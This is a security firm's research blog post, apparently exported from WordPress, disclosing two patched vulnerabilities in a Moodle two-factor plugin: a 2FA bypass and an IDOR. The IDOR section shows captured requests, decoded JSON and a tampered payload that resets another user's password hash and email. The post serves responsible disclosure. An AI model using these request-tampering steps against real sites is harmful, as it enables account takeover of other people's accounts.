{"id":7426,"date":"2022-06-20T17:52:55","date_gmt":"2022-06-20T16:52:55","guid":{"rendered":"https:\/\/www.dionach.com\/?p=7426"},"modified":"2024-01-30T16:18:29","modified_gmt":"2024-01-30T16:18:29","slug":"simple-2fa-moodle-plugin","status":"publish","type":"post","link":"https:\/\/dionach.com\/en-us\/simple-2fa-moodle-plugin\/","title":{"rendered":"Simple 2FA Moodle Plugin: From 2FA Bypass to Account Takeover"},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-post\" data-elementor-id=\"7426\" class=\"elementor elementor-7426\" data-elementor-post-type=\"post\">\n\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-6f6eee85 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"6f6eee85\" data-element_type=\"section\" data-e-type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-61c9679d\" data-id=\"61c9679d\" data-element_type=\"column\" data-e-type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-244cd382 elementor-widget elementor-widget-text-editor\" data-id=\"244cd382\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<p><strong>Author:<\/strong> Flaviu Popescu &#8211; Technical Consultant<\/p><h2>Introduction<\/h2><p>There are times as a penetration tester that you find something unique. It may not be unique in the field of cyber security but unique to the tester themselves. This was one of those times. During testing on a web application, a couple of interesting discoveries were made. One of which was a security vulnerability that was discovered within the &#8220;Simple 2FA Plugin by LMS Doctor&#8221;.<\/p><p>The mentioned product is a plugin used in the Moodle content management software that aims to add an extra layer to the authentication process, thereby making the web application more secure. The plugin provides this by sending a user a randomly generated six-digit code to their mobile device or email address, as part of the two-factor authentication process. The vulnerabilities allow a remote attacker to gain access to user accounts impacting the confidentiality and integrity of information stored within the website.<\/p><h2>Technical Details<\/h2><h3>1.\u00a0\u00a0\u00a0\u00a0\u00a0 Two-Factor Authentication bypass (CVE-2022-28601):<\/h3><p>The example below shows the initial login process using a self-registered account:<\/p><h3>POST \/login\/index.php<\/h3><p><img fetchpriority=\"high\" decoding=\"async\" data-recalc-dims=\"1\" class=\"alignnone size-full wp-image-7385\" src=\"https:\/\/i0.wp.com\/www.dionach.com\/wp-content\/uploads\/2022\/06\/Picture5.png?resize=517%2C233&#038;ssl=1\" alt=\"\" width=\"517\" height=\"233\" srcset=\"https:\/\/i0.wp.com\/dionach.com\/wp-content\/uploads\/2022\/06\/Picture5.png?w=517&amp;ssl=1 517w, https:\/\/i0.wp.com\/dionach.com\/wp-content\/uploads\/2022\/06\/Picture5.png?resize=300%2C135&amp;ssl=1 300w, https:\/\/i0.wp.com\/dionach.com\/wp-content\/uploads\/2022\/06\/Picture5.png?resize=480%2C216&amp;ssl=1 480w\" sizes=\"(max-width: 517px) 100vw, 517px\" \/><\/p><p>After entering their username and password, the website sends the account owner a six-digit code to their mobile device, which then has to be submitted on the next page as shown below:<\/p><h3>POST \/auth\/simple2fa\/confirm.php<\/h3><p><img decoding=\"async\" data-recalc-dims=\"1\" class=\"alignnone size-full wp-image-7394\" src=\"https:\/\/i0.wp.com\/www.dionach.com\/wp-content\/uploads\/2022\/06\/Picture2.png?resize=339%2C164&#038;ssl=1\" alt=\"\" width=\"339\" height=\"164\" srcset=\"https:\/\/i0.wp.com\/dionach.com\/wp-content\/uploads\/2022\/06\/Picture2.png?w=339&amp;ssl=1 339w, https:\/\/i0.wp.com\/dionach.com\/wp-content\/uploads\/2022\/06\/Picture2.png?resize=300%2C145&amp;ssl=1 300w\" sizes=\"(max-width: 339px) 100vw, 339px\" \/><\/p><p>Unfortunately, an attacker could then force browse directly to the profile page at the following URL instead of providing the 2FA code. Here, they are able to update the phone number registered to the account.<\/p><h3>POST \/auth\/simple2fa\/profile.php<\/h3><p><img decoding=\"async\" data-recalc-dims=\"1\" class=\"alignnone size-full wp-image-7382\" src=\"https:\/\/i0.wp.com\/www.dionach.com\/wp-content\/uploads\/2022\/06\/Picture6.png?resize=518%2C257&#038;ssl=1\" alt=\"\" width=\"518\" height=\"257\" srcset=\"https:\/\/i0.wp.com\/dionach.com\/wp-content\/uploads\/2022\/06\/Picture6.png?w=518&amp;ssl=1 518w, https:\/\/i0.wp.com\/dionach.com\/wp-content\/uploads\/2022\/06\/Picture6.png?resize=300%2C149&amp;ssl=1 300w, https:\/\/i0.wp.com\/dionach.com\/wp-content\/uploads\/2022\/06\/Picture6.png?resize=480%2C238&amp;ssl=1 480w\" sizes=\"(max-width: 518px) 100vw, 518px\" \/><\/p><p>As you might expect, this allows the attacker to insert their own phone number for the target account, with the aim of having the second-factor code now sent to the attacker instead. The login process is then repeated, but this time the six-digit pin code will be received on the attacker&#8217;s device.<\/p><p>The newly generated six-digit pin code is then passed into the 2FA authentication portal which now indeed shows the attacker&#8217;s phone number.<\/p><h3>POST \/auth\/simple2fa\/confirm.php<\/h3><p><img loading=\"lazy\" decoding=\"async\" data-recalc-dims=\"1\" class=\"alignnone size-full wp-image-7388\" src=\"https:\/\/i0.wp.com\/www.dionach.com\/wp-content\/uploads\/2022\/06\/Picture4.png?resize=379%2C130&#038;ssl=1\" alt=\"\" width=\"379\" height=\"130\" srcset=\"https:\/\/i0.wp.com\/dionach.com\/wp-content\/uploads\/2022\/06\/Picture4.png?w=379&amp;ssl=1 379w, https:\/\/i0.wp.com\/dionach.com\/wp-content\/uploads\/2022\/06\/Picture4.png?resize=300%2C103&amp;ssl=1 300w\" sizes=\"(max-width: 379px) 100vw, 379px\" \/><\/p><p>The attacker is then granted access to the website, effectively bypassing the second stage of the authentication process entirely.<\/p><p>\u00a0<\/p><h3>2. Insecure direct object references (IDOR) vulnerability (CVE-2022-28986):<\/h3><p>Initial login process using a self-registered account:<\/p><h3>POST \/login\/index.php<\/h3><p><img fetchpriority=\"high\" decoding=\"async\" data-recalc-dims=\"1\" class=\"alignnone size-full wp-image-7385\" src=\"https:\/\/i0.wp.com\/www.dionach.com\/wp-content\/uploads\/2022\/06\/Picture5.png?resize=517%2C233&#038;ssl=1\" alt=\"\" width=\"517\" height=\"233\" srcset=\"https:\/\/i0.wp.com\/dionach.com\/wp-content\/uploads\/2022\/06\/Picture5.png?w=517&amp;ssl=1 517w, https:\/\/i0.wp.com\/dionach.com\/wp-content\/uploads\/2022\/06\/Picture5.png?resize=300%2C135&amp;ssl=1 300w, https:\/\/i0.wp.com\/dionach.com\/wp-content\/uploads\/2022\/06\/Picture5.png?resize=480%2C216&amp;ssl=1 480w\" sizes=\"(max-width: 517px) 100vw, 517px\" \/><\/p><p>Once the 2FA prompt is shown, the attacker force browses to the following URL instead of providing the 2FA code.<\/p><h3>POST \/auth\/simple2fa\/profile.php<\/h3><p><img decoding=\"async\" data-recalc-dims=\"1\" class=\"alignnone size-full wp-image-7382\" src=\"https:\/\/i0.wp.com\/www.dionach.com\/wp-content\/uploads\/2022\/06\/Picture6.png?resize=518%2C257&#038;ssl=1\" alt=\"\" width=\"518\" height=\"257\" srcset=\"https:\/\/i0.wp.com\/dionach.com\/wp-content\/uploads\/2022\/06\/Picture6.png?w=518&amp;ssl=1 518w, https:\/\/i0.wp.com\/dionach.com\/wp-content\/uploads\/2022\/06\/Picture6.png?resize=300%2C149&amp;ssl=1 300w, https:\/\/i0.wp.com\/dionach.com\/wp-content\/uploads\/2022\/06\/Picture6.png?resize=480%2C238&amp;ssl=1 480w\" sizes=\"(max-width: 518px) 100vw, 518px\" \/><\/p><p>This request is then captured in Burp Suite and looks as follows:<\/p><pre>Host:\n[..]\nContent-Type: application\/x-www-form-urlencoded\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.74 Safari\/537.36\n<strong>u=eyJpZCI6IjgwNDUiLCJhdXRoIjoiZW1haWw[..]QiLCJzZWNyZXQiOiJqOFVNYWwwOVg2eWtqNFkiLCJwaWN0dXJlIjoiMCIsInVybCI6IiIsImRlc2Ny<\/strong>&amp;sesskey=D0V41GZAkM&amp;_qf__profile_form=1&amp;phonenumber=%2B44[..]558&amp;submitbutton=Confirm\n<\/pre><p>The parameter &#8220;u&#8221; contains a base64 encoded string. Decoding this string reveals data in JSON format as shown in the snippet below:<\/p><pre>{\"id\":\"<strong>7834<\/strong>\",\"auth\":\"email\",\"confirmed\":\"1\",\"policyagreed\":\"0\",\"deleted\":\"0\",\"suspended\":\"0\",\"mnethostid\":\"1\",\"username\":\"<strong>dionach.tester<\/strong>\",\"password\":\"<strong>$2y$10$6U\\\/HgxK3Rn1N3dqYecBtxOEcXBshBYJdFD\\\/Ix.S.U\\\/oz\\\/\\\/dkrxize<\/strong>\",\"idnumber\":\"\",\"firstname\":\"<strong>External<\/strong>\",\"lastname\":\"<strong>Student<\/strong>\",\"email\":\"<strong>flaviu.popescu@www.dionach.com<\/strong>\",\"emailstop\":\"0\",\"icq\":\"\",\"skype\":\"\",\"yahoo\":\"\",\"aim\":\"\",\"msn\":\"\",\"phone1\":\"\",\"phone2\":\"+4474*****558\"}<\/pre><p>The attacker can attempt to tamper with the JSON data before sending it off to the server, modifying parameters such as the id, e-mail and password field, which contains a bcrypt hash of the users&#8217; password.<\/p><p>The JSON data is tampered, encoded back into base64 and the POST request is forwarded to the server in Burp Suite.<\/p><p>New hash generation for the password:<\/p><pre>$ htpasswd -bnBC 10 \"\" pwn3d! | tr -d ':\\n'\\n\n<strong>$2y$10$g\/U56Hj5kb.C1mOoO6MR.Zrv1c4ml04z97CC.BdJPsMl.6LM4HVy<\/strong><\/pre><p>Snippet of tampered data:<\/p><pre>{\"id\":\"<strong>8045<\/strong>\",\"auth\":\"email\",\"confirmed\":\"1\",\"policyagreed\":\"0\",\"deleted\":\"0\",\"suspended\":\"0\",\"mnethostid\":\"1\",\"username\":\"<strong>dionach.tester2<\/strong>\",\"password\":\"<strong>$2y$10$g\/U56Hj5kb.C1mOoO6MR.Zrv1c4ml04z97CC.BdJPsMl.6LM4HVy<\/strong>\",\"idnumber\":\"\",\"firstname\":\"<strong>Victim<\/strong>\",\"lastname\":\"Account <strong>Taken<\/strong>\",\"email\":\"<strong>attacker@moodle.org<\/strong>\"}<\/pre><p>The server then updates the account information based on the &#8220;id&#8221; number supplied in the above JSON data, resulting in the victim&#8217;s account with id 8045 (dionach.tester2) being updated as shown below:<\/p><p><img loading=\"lazy\" decoding=\"async\" data-recalc-dims=\"1\" class=\"alignnone size-full wp-image-7367\" src=\"https:\/\/i0.wp.com\/www.dionach.com\/wp-content\/uploads\/2022\/06\/Picture11.png?resize=604%2C214&#038;ssl=1\" alt=\"\" width=\"604\" height=\"214\" srcset=\"https:\/\/i0.wp.com\/dionach.com\/wp-content\/uploads\/2022\/06\/Picture11.png?w=604&amp;ssl=1 604w, https:\/\/i0.wp.com\/dionach.com\/wp-content\/uploads\/2022\/06\/Picture11.png?resize=300%2C106&amp;ssl=1 300w, https:\/\/i0.wp.com\/dionach.com\/wp-content\/uploads\/2022\/06\/Picture11.png?resize=480%2C170&amp;ssl=1 480w\" sizes=\"(max-width: 604px) 100vw, 604px\" \/><\/p><p>\u00a0<\/p><h2><span lang=\"EN-GB\">Proof of Concept<\/span><\/h2><h3><span lang=\"EN-GB\">2FA bypass vulnerability.<\/span><\/h3><div style=\"width: 1200px;\" class=\"wp-video\"><video class=\"wp-video-shortcode\" id=\"video-7426-1\" width=\"1200\" height=\"763\" preload=\"metadata\" controls=\"controls\"><source type=\"video\/mp4\" src=\"https:\/\/www.dionach.com\/wp-content\/uploads\/2022\/06\/Simple-2FA-Plugin-2FA-Bypass.mp4?_=1\" \/><a href=\"https:\/\/www.dionach.com\/wp-content\/uploads\/2022\/06\/Simple-2FA-Plugin-2FA-Bypass.mp4\">https:\/\/www.dionach.com\/wp-content\/uploads\/2022\/06\/Simple-2FA-Plugin-2FA-Bypass.mp4<\/a><\/video><\/div><p>\u00a0<\/p><h3><span lang=\"EN-GB\">Insecure direct object references (IDOR) vulnerability.<\/span><\/h3><div style=\"width: 1200px;\" class=\"wp-video\"><video class=\"wp-video-shortcode\" id=\"video-7426-2\" width=\"1200\" height=\"575\" preload=\"metadata\" controls=\"controls\"><source type=\"video\/mp4\" src=\"https:\/\/www.dionach.com\/wp-content\/uploads\/2022\/06\/Simple-2FA-Plugin-IDOR.mp4?_=2\" \/><a href=\"https:\/\/www.dionach.com\/wp-content\/uploads\/2022\/06\/Simple-2FA-Plugin-IDOR.mp4\">https:\/\/www.dionach.com\/wp-content\/uploads\/2022\/06\/Simple-2FA-Plugin-IDOR.mp4<\/a><\/video><\/div><p>\u00a0<\/p><h2>Likelihood<\/h2><p>An attacker would only need to self-register to perform successful account takeovers via the IDOR vulnerability. No interaction with the user is required, and their accounts can be taken over immediately. For the 2FA bypass, an attacker would need to know valid usernames and passwords in order to perform 2FA bypasses.<\/p><h2>Impact<\/h2><p>The Simple 2FA Plugin is used on the Moodle content management software (CMS), an attacker that successfully exploits the above vulnerabilities would be able to compromise other user accounts with higher privileges, such as Moodle Administrators. This could grant them direct access to all the information on the website as well as data stored within databases on the server when Moodle Adminer is installed.<\/p><h2>Mitigation<\/h2><p>LMS Doctor have released an update (version 2022042002) that remediated the above vulnerabilities and are advising that all customers update their Simple 2FA Moodle plugin to the latest version.<\/p><p>Dionach would like to thank LMS Doctor for responding to the responsible disclosure in a timely manner and for working with Dionach to mitigate the vulnerabilities.<\/p><h2>Timeline<\/h2><p>4th April 2022 | Details of the 2FA vulnerability present on the 2021072900 &#8220;Simple 2FA Plugin&#8221; version have been emailed to the vendor at <a href=\"mailto:hello@notifications.lmsdoctor.com\">hello@notifications.lmsdoctor.com<\/a>.<\/p><p>4th April 2022 | Response from the vendor acknowledging the vulnerability.<\/p><p>7th April 2021 | Details of a 2<sup>nd<\/sup> vulnerability (IDOR) have been emailed to the vendor.<\/p><p>7th April 2022 | Response from the vendor stating the plugin is being reviewed.<\/p><p>5th May 2022 | CVE numbers allocated and Dionach worked with the vendor on a publication date of this vulnerability.<\/p><p>9th May 2022 | Dionach confirmed the vulnerability is no longer present on the 2022042002 &#8220;Simple 2FA Plugin&#8221; version By LMS Doctor.<\/p><p>\u00a0<\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"<p>Author: Flaviu Popescu &#8211; Technical Consultant Introduction There are times as a penetration tester that you find something unique. It may not be unique in the field of cyber security but unique to the tester themselves. This was one of those times. During testing on a web application, a couple of interesting discoveries were made. [&hellip;]<\/p>\n","protected":false},"author":12,"featured_media":7434,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"content-type":"","_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-7426","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-researchblog","wpbf-post"],"contentshake_article_id":"","yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.2 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Simple 2FA Moodle Plugin: From 2FA Bypass to Account Takeover<\/title>\n<meta name=\"description\" content=\"Find out about the simple 2FA Moodle Plugin where we look at moving from 2FA Bypass to Account TakeOver.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/dionach.com\/en-us\/simple-2fa-moodle-plugin\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Simple 2FA Moodle Plugin: From 2FA Bypass to Account Takeover\" \/>\n<meta property=\"og:description\" content=\"Find out about the simple 2FA Moodle Plugin where we look at moving from 2FA Bypass to Account TakeOver.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/dionach.com\/en-us\/simple-2fa-moodle-plugin\/\" \/>\n<meta property=\"og:site_name\" content=\"Dionach\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/dionachcyber\" \/>\n<meta property=\"article:published_time\" content=\"2022-06-20T16:52:55+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2024-01-30T16:18:29+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/i0.wp.com\/dionach.com\/wp-content\/uploads\/2022\/06\/Untitled-design-17.png?fit=980%2C551&ssl=1\" \/>\n\t<meta property=\"og:image:width\" content=\"980\" \/>\n\t<meta property=\"og:image:height\" content=\"551\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Dionach by Nomios\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@dionachcyber\" \/>\n<meta name=\"twitter:site\" content=\"@dionachcyber\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Dionach by Nomios\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/dionach.com\/en-us\/simple-2fa-moodle-plugin\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/dionach.com\/en-us\/simple-2fa-moodle-plugin\/\"},\"author\":{\"name\":\"Dionach by Nomios\",\"@id\":\"https:\/\/dionach.com\/en-us\/#\/schema\/person\/cda8ad8b5715b4d431547564ed6a9ca9\"},\"headline\":\"Simple 2FA Moodle Plugin: From 2FA Bypass to Account Takeover\",\"datePublished\":\"2022-06-20T16:52:55+00:00\",\"dateModified\":\"2024-01-30T16:18:29+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/dionach.com\/en-us\/simple-2fa-moodle-plugin\/\"},\"wordCount\":857,\"publisher\":{\"@id\":\"https:\/\/dionach.com\/en-us\/#organization\"},\"image\":{\"@id\":\"https:\/\/dionach.com\/en-us\/simple-2fa-moodle-plugin\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/i0.wp.com\/dionach.com\/wp-content\/uploads\/2022\/06\/Untitled-design-17.png?fit=980%2C551&ssl=1\",\"articleSection\":[\"researchblog\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/dionach.com\/en-us\/simple-2fa-moodle-plugin\/\",\"url\":\"https:\/\/dionach.com\/en-us\/simple-2fa-moodle-plugin\/\",\"name\":\"Simple 2FA Moodle Plugin: From 2FA Bypass to Account Takeover\",\"isPartOf\":{\"@id\":\"https:\/\/dionach.com\/en-us\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/dionach.com\/en-us\/simple-2fa-moodle-plugin\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/dionach.com\/en-us\/simple-2fa-moodle-plugin\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/i0.wp.com\/dionach.com\/wp-content\/uploads\/2022\/06\/Untitled-design-17.png?fit=980%2C551&ssl=1\",\"datePublished\":\"2022-06-20T16:52:55+00:00\",\"dateModified\":\"2024-01-30T16:18:29+00:00\",\"description\":\"Find out about the simple 2FA Moodle Plugin where we look at moving from 2FA Bypass to Account TakeOver.\",\"breadcrumb\":{\"@id\":\"https:\/\/dionach.com\/en-us\/simple-2fa-moodle-plugin\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/dionach.com\/en-us\/simple-2fa-moodle-plugin\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/dionach.com\/en-us\/simple-2fa-moodle-plugin\/#primaryimage\",\"url\":\"https:\/\/i0.wp.com\/dionach.com\/wp-content\/uploads\/2022\/06\/Untitled-design-17.png?fit=980%2C551&ssl=1\",\"contentUrl\":\"https:\/\/i0.wp.com\/dionach.com\/wp-content\/uploads\/2022\/06\/Untitled-design-17.png?fit=980%2C551&ssl=1\",\"width\":980,\"height\":551},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/dionach.com\/en-us\/simple-2fa-moodle-plugin\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/dionach.com\/en-us\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Simple 2FA Moodle Plugin: From 2FA Bypass to Account Takeover\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/dionach.com\/en-us\/#website\",\"url\":\"https:\/\/dionach.com\/en-us\/\",\"name\":\"Dionach\",\"description\":\"Real Security in a Virtual World\",\"publisher\":{\"@id\":\"https:\/\/dionach.com\/en-us\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/dionach.com\/en-us\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/dionach.com\/en-us\/#organization\",\"name\":\"Dionach\",\"url\":\"https:\/\/dionach.com\/en-us\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/dionach.com\/en-us\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/www.dionach.com\/wp-content\/uploads\/2025\/02\/cropped-Dionach-vertical-col-yel-nomios-black-1.jpg\",\"contentUrl\":\"https:\/\/www.dionach.com\/wp-content\/uploads\/2025\/02\/cropped-Dionach-vertical-col-yel-nomios-black-1.jpg\",\"width\":512,\"height\":512,\"caption\":\"Dionach\"},\"image\":{\"@id\":\"https:\/\/dionach.com\/en-us\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/dionachcyber\",\"https:\/\/x.com\/dionachcyber\",\"https:\/\/uk.linkedin.com\/company\/dionach-ltd\",\"https:\/\/www.instagram.com\/dionachcyber\/\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/dionach.com\/en-us\/#\/schema\/person\/cda8ad8b5715b4d431547564ed6a9ca9\",\"name\":\"Dionach by Nomios\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/secure.gravatar.com\/avatar\/175b11c7f601b43fdf197d3d5c39805acf0e97b19ca7a4c4aa333ac557e98a09?s=96&d=mm&r=g\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/175b11c7f601b43fdf197d3d5c39805acf0e97b19ca7a4c4aa333ac557e98a09?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/175b11c7f601b43fdf197d3d5c39805acf0e97b19ca7a4c4aa333ac557e98a09?s=96&d=mm&r=g\",\"caption\":\"Dionach by Nomios\"},\"sameAs\":[\"http:\/\/Dionach\"]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Simple 2FA Moodle Plugin: From 2FA Bypass to Account Takeover","description":"Find out about the simple 2FA Moodle Plugin where we look at moving from 2FA Bypass to Account TakeOver.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/dionach.com\/en-us\/simple-2fa-moodle-plugin\/","og_locale":"en_US","og_type":"article","og_title":"Simple 2FA Moodle Plugin: From 2FA Bypass to Account Takeover","og_description":"Find out about the simple 2FA Moodle Plugin where we look at moving from 2FA Bypass to Account TakeOver.","og_url":"https:\/\/dionach.com\/en-us\/simple-2fa-moodle-plugin\/","og_site_name":"Dionach","article_publisher":"https:\/\/www.facebook.com\/dionachcyber","article_published_time":"2022-06-20T16:52:55+00:00","article_modified_time":"2024-01-30T16:18:29+00:00","og_image":[{"width":980,"height":551,"url":"https:\/\/i0.wp.com\/dionach.com\/wp-content\/uploads\/2022\/06\/Untitled-design-17.png?fit=980%2C551&ssl=1","type":"image\/png"}],"author":"Dionach by Nomios","twitter_card":"summary_large_image","twitter_creator":"@dionachcyber","twitter_site":"@dionachcyber","twitter_misc":{"Written by":"Dionach by Nomios","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/dionach.com\/en-us\/simple-2fa-moodle-plugin\/#article","isPartOf":{"@id":"https:\/\/dionach.com\/en-us\/simple-2fa-moodle-plugin\/"},"author":{"name":"Dionach by Nomios","@id":"https:\/\/dionach.com\/en-us\/#\/schema\/person\/cda8ad8b5715b4d431547564ed6a9ca9"},"headline":"Simple 2FA Moodle Plugin: From 2FA Bypass to Account Takeover","datePublished":"2022-06-20T16:52:55+00:00","dateModified":"2024-01-30T16:18:29+00:00","mainEntityOfPage":{"@id":"https:\/\/dionach.com\/en-us\/simple-2fa-moodle-plugin\/"},"wordCount":857,"publisher":{"@id":"https:\/\/dionach.com\/en-us\/#organization"},"image":{"@id":"https:\/\/dionach.com\/en-us\/simple-2fa-moodle-plugin\/#primaryimage"},"thumbnailUrl":"https:\/\/i0.wp.com\/dionach.com\/wp-content\/uploads\/2022\/06\/Untitled-design-17.png?fit=980%2C551&ssl=1","articleSection":["researchblog"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/dionach.com\/en-us\/simple-2fa-moodle-plugin\/","url":"https:\/\/dionach.com\/en-us\/simple-2fa-moodle-plugin\/","name":"Simple 2FA Moodle Plugin: From 2FA Bypass to Account Takeover","isPartOf":{"@id":"https:\/\/dionach.com\/en-us\/#website"},"primaryImageOfPage":{"@id":"https:\/\/dionach.com\/en-us\/simple-2fa-moodle-plugin\/#primaryimage"},"image":{"@id":"https:\/\/dionach.com\/en-us\/simple-2fa-moodle-plugin\/#primaryimage"},"thumbnailUrl":"https:\/\/i0.wp.com\/dionach.com\/wp-content\/uploads\/2022\/06\/Untitled-design-17.png?fit=980%2C551&ssl=1","datePublished":"2022-06-20T16:52:55+00:00","dateModified":"2024-01-30T16:18:29+00:00","description":"Find out about the simple 2FA Moodle Plugin where we look at moving from 2FA Bypass to Account TakeOver.","breadcrumb":{"@id":"https:\/\/dionach.com\/en-us\/simple-2fa-moodle-plugin\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/dionach.com\/en-us\/simple-2fa-moodle-plugin\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/dionach.com\/en-us\/simple-2fa-moodle-plugin\/#primaryimage","url":"https:\/\/i0.wp.com\/dionach.com\/wp-content\/uploads\/2022\/06\/Untitled-design-17.png?fit=980%2C551&ssl=1","contentUrl":"https:\/\/i0.wp.com\/dionach.com\/wp-content\/uploads\/2022\/06\/Untitled-design-17.png?fit=980%2C551&ssl=1","width":980,"height":551},{"@type":"BreadcrumbList","@id":"https:\/\/dionach.com\/en-us\/simple-2fa-moodle-plugin\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/dionach.com\/en-us\/"},{"@type":"ListItem","position":2,"name":"Simple 2FA Moodle Plugin: From 2FA Bypass to Account Takeover"}]},{"@type":"WebSite","@id":"https:\/\/dionach.com\/en-us\/#website","url":"https:\/\/dionach.com\/en-us\/","name":"Dionach","description":"Real Security in a Virtual World","publisher":{"@id":"https:\/\/dionach.com\/en-us\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/dionach.com\/en-us\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/dionach.com\/en-us\/#organization","name":"Dionach","url":"https:\/\/dionach.com\/en-us\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/dionach.com\/en-us\/#\/schema\/logo\/image\/","url":"https:\/\/www.dionach.com\/wp-content\/uploads\/2025\/02\/cropped-Dionach-vertical-col-yel-nomios-black-1.jpg","contentUrl":"https:\/\/www.dionach.com\/wp-content\/uploads\/2025\/02\/cropped-Dionach-vertical-col-yel-nomios-black-1.jpg","width":512,"height":512,"caption":"Dionach"},"image":{"@id":"https:\/\/dionach.com\/en-us\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/dionachcyber","https:\/\/x.com\/dionachcyber","https:\/\/uk.linkedin.com\/company\/dionach-ltd","https:\/\/www.instagram.com\/dionachcyber\/"]},{"@type":"Person","@id":"https:\/\/dionach.com\/en-us\/#\/schema\/person\/cda8ad8b5715b4d431547564ed6a9ca9","name":"Dionach by 